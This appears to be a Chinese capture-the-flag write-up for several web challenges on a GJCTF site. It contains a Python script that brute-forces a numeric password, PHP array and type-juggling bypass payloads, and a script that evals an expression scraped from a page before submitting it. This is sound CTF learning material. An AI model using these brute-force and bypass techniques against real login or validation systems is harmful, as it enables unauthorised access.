本题推荐使用python来暴力破解密码。脚本如下:
import requests
import re
s = requests.session()
html = s.get('http://www.czlgjbbq.top/GJCTF/brute.php')
session = ""
for i in range(12,28):
session = session + html.text[i]
session = session.replace(" ","")
for i in range(10000,99999):
payload = {'password':str(i), 'check':session}
print payload
html = s.get(url='http://www.czlgjbbq.top/GJCTF/brute.php', params=payload)
print(html.text)
注意运行结果,拿到flag.
利用数组来绕过加密。
Payload=number1[]=1&number2[]=2
Payload=key=key1keykeykeykeykey:///111keya@
更改maxlength的值。
传入足够大的值,直接拿到flag。
Payload=payload[]=1
利用数组=NULL绕过。
计算十六进制值,保证每一位都不在0到9之间。
Payload=password=0xffeeddaa
直接通过python脚本来写
import requests
import re
url = 'http://www.czlgjbbq.top/GJCTF/brute2.php'
time = 0
s = requests.session()
while True:
html = s.get(url)
pattern = '(\d+.*?\d+)'
ss = re.search(pattern, html.text)
info = ss.groups()[0].replace(" ", "")
password = eval(info)
html = s.get(url+'?info='+str(password))
if re.search('GJCTF{.*?}', html.text) is not None:
print html.text
break
time = time + 1
print time
运行后可以直接拿到flag值。
后面几道题的WP将在下次给出。